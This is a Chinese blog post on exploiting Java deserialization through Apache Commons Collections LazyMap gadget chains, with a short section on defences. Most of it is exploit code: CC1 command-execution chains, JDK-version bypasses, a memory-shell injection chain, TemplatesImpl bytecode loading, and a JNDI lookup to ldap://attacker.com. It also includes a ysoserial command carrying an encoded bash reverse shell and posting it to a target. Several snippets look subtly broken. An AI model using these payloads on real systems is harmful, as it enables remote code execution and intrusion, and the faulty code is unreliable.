Java LazyMap的深度利用技巧

2025-03-27 14 0

一、LazyMap核心机制

LazyMap是Apache Commons Collections中实现延迟加载的特殊Map实现类,其核心逻辑在于当访问不存在的Key时,会触发Transformer转换器:

// 源码关键逻辑
public class LazyMap extends AbstractMapDecorator {
    private final Transformer factory;

    public Object get(Object key) {
        if (!map.containsKey(key)) {  // 当Key不存在时
            Object value = factory.transform(key); // 触发转换器
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
}

二、经典攻击链构造(CC1)

1. 基础利用代码
// 构造命令执行链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc.exe"})
};

ChainedTransformer chain = new ChainedTransformer(transformers);

// 创建LazyMap实例
Map lazyMap = LazyMap.decorate(new HashMap(), chain);

// 通过动态代理触发
Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    new InvocationHandler() {
        public Object invoke(Object proxy, Method method, Object[] args) {
            return method.invoke(lazyMap, args);
        }
    }
);

// 序列化触发
ByteArrayOutputStream bos = new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(proxyMap);
byte[] payload = bos.toByteArray();

// 反序列化触发漏洞
new ObjectInputStream(new ByteArrayInputStream(payload)).readObject();

触发原理

  1. 反序列化proxyMap时触发InvocationHandler.invoke()

  2. 调用LazyMap.get()方法

  3. 执行ChainedTransformer.transform()链式调用

三、绕过技巧

1. JDK 8u71+ 绕过(结合TiedMapEntry)
// 构造增强版攻击链
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "triggerKey");

// 通过HashSet触发
HashSet hashSet = new HashSet(1);
hashSet.add("foo");  // 初始化HashSet

// 反射修改内部Entry
Field mapField = HashSet.class.getDeclaredField("map");
mapField.setAccessible(true);
HashMap internalMap = (HashMap) mapField.get(hashSet);

Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(internalMap);

// 修改第一个节点的key
Object node = table[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry);  // 注入恶意Entry

绕过原理

  • 利用TiedMapEntry.toString()自动调用getValue()

  • HashSet反序列化时自动触发hashCode()计算

四、内存马注入技巧

1. Web层内存马(Filter型)
Transformer[] memShellChain = new Transformer[]{
    new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
    new InvokerTransformer("loadClass", 
        new Class[]{String.class}, 
        new Object[]{"javax.servlet.Filter"}),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"addFilter", new Class[]{String.class, Filter.class}}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[]{"evilFilter", new MaliciousFilter()}})
};

Map lazyMap = LazyMap.decorate(new HashMap(), new ChainedTransformer(memShellChain));
2. 字节码驻留技巧
// 使用TemplatesImpl持久化
Transformer[] persistChain = new Transformer[]{
    new ConstantTransformer(TemplatesImpl.class),
    new InvokerTransformer("newInstance", null, null),
    new InvokerTransformer("getOutputProperties", null, null)
};

五、防御对抗艺术

1. 安全反序列化实现
public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED_CLASSES = 
        Set.of("java.lang.String", "java.util.ArrayList");

    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
        throws IOException, ClassNotFoundException {
        String className = desc.getName();
        if (!ALLOWED_CLASSES.contains(className)) {
            throw new InvalidClassException("Unauthorized class: ", className);
        }
        return super.resolveClass(desc);
    }
}
2. RASP防御示例
// 使用Java Agent拦截关键方法
public class DeserializationAgent {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined, 
            protectionDomain, classfileBuffer) -> {
            if (className.equals("java/util/Map")) {
                ClassReader cr = new ClassReader(classfileBuffer);
                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
                ClassVisitor cv = new LazyMapDetector(cw);
                cr.accept(cv, 0);
                return cw.toByteArray();
            }
            return classfileBuffer;
        });
    }
}

// ASM检测逻辑
class LazyMapDetector extends ClassVisitor {
    public MethodVisitor visitMethod(int access, String name, String desc, 
        String signature, String[] exceptions) {
        MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
        if (name.equals("get")) {
            mv.visitCode();
            mv.visitMethodInsn(INVOKESTATIC, "SecurityMonitor", "checkLazyMapAccess");
            mv.visitEnd();
        }
        return mv;
    }
}

六、检测与验证

1. 漏洞验证命令
# 使用ysoserial生成payload
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > payload.bin

# 发送到测试环境
curl -X POST --data-binary @payload.bin http://vuln-app/deserialize
2. 代码审计关注点
// 危险调用模式
ObjectInputStream.readObject()
XMLDecoder.readObject()
JSON.parseObject(input, Feature.SupportNonPublicField)
XStream.fromXML(xmlInput) // XStream反序列化

总结与思考

  1. 攻击本质:利用Java反序列化机制将数据结构转换为代码执行

  2. 演进趋势:从简单的反射调用到框架特性组合利用

  3. 防御哲学

    • 输入验证:严格校验反序列化来源

    • 权限控制:使用SecurityManager沙箱

    • 行为监控:部署RASP实时防御

LazyMap的高级利用技巧

一、利用 BadAttributeValueExpException绕过防御

1. 攻击链构造原理

通过BadAttributeValueExpExceptionreadObject方法触发TiedMapEntry.toString(),进而调用LazyMap.get()。此方法不依赖动态代理机制,适用于高版本 JDK 环境。

// 构造 LazyMap 链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chain);

// 构造 TiedMapEntry 并注入恶意对象
TiedMapEntry entry = new TiedMapEntry(lazyMap, "trigger");
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);

// 反射设置 val 属性
Field valField = exp.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exp, entry);

// 序列化触发
serialize(exp);

关键点

  • BadAttributeValueExpException反序列化时会调用val.toString(),触发TiedMapEntry.getValue()

  • 无需动态代理,直接通过异常类的原生机制触发

二、HashSet 内部结构篡改技巧

1. 利用 HashSet 的哈希冲突

通过反射修改HashSet内部存储结构,注入恶意TiedMapEntry对象:

HashSet hashSet = new HashSet(1);
hashSet.add("dummy"); // 初始化填充数据

// 反射获取内部 HashMap 的 table 数组
Field mapField = HashSet.class.getDeclaredField("map");
mapField.setAccessible(true);
HashMap internalMap = (HashMap) mapField.get(hashSet);

Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(internalMap);

// 修改第一个节点的 key 为恶意 Entry
Object node = table[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry); // entry 为构造的 TiedMapEntry

绕过原理

  • 利用HashSet反序列化时的哈希重建机制触发恶意key.hashCode()计算

  • 适用于绕过对动态代理的检测

三、双重代理嵌套绕过黑名单

1. 多层代理混淆检测

通过嵌套多层代理隐藏真实调用链,绕过基于类名的黑名单过滤:

// 第一层代理:Map → InvocationHandlerA
Map proxyMap1 = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    handler1 // 自定义 InvocationHandler
);

// 第二层代理:InvocationHandlerA → InvocationHandlerB
InvocationHandler handler2 = (InvocationHandler) constructor.newInstance(
    Target.class, 
    proxyMap1
);

// 最终代理对象
Map finalProxy = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    handler2
);

优势

  • 混淆调用链,增加静态分析难度

  • 可结合不同接口类型(如ListSet)增强隐蔽性

四、非 Runtime.exec()执行方式

1. 基于类加载的字节码注入

结合TemplatesImpl加载恶意字节码,避免直接调用敏感方法:

// 生成恶意类字节码
String code = "public class Evil { static { Runtime.getRuntime().exec(\"calc\"); } }";
byte[] bytecode = new JavaCompiler().compile(code);

// 构造 TemplatesImpl 链
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{bytecode});
setField(templates, "_name", "Evil");

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
};

特点

  • 绕过基于Runtime.exec()的字符串特征检测

  • 利用类初始化静态代码块执行命令

五、JNDI 注入组合攻击

1. 结合 LDAP 协议远程加载类

通过LazyMap触发 JNDI 查询,实现远程类加载:

Transformer[] jndiChain = new Transformer[]{
    new ConstantTransformer(JndiLookup.class),
    new InvokerTransformer("lookup", 
        new Class[]{String.class}, 
        new Object[]{"ldap://attacker.com/Exploit"})
};

利用条件

  • 目标环境需存在 JNDI 注入漏洞(如 Log4j2)

  • 绕过本地命令执行检测,转为远程攻击

总结与演进方向

  1. 攻击趋势

    • 从单一链式调用 → 多技术组合(如 JNDI + 反序列化)

    • 从本地命令执行 → 远程代码加载(规避本地特征检测)

  2. 防御策略

    • 启用 SecurityManager 限制反射操作

    • 使用 SerialKiller 等安全反序列化库

    • 定期更新 Commons Collections 等组件版本


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

HTB-Devvortex-WriteUp
WEB漏洞——越权
新型SectopRAT木马利用Cloudflare验证系统攻击Windows用户
医疗行业网络安全现状令人担忧
2025年全球网络安全支出预计增长12.2%
九个存在九年的npm软件包遭劫持 通过混淆脚本窃取API密钥

发布评论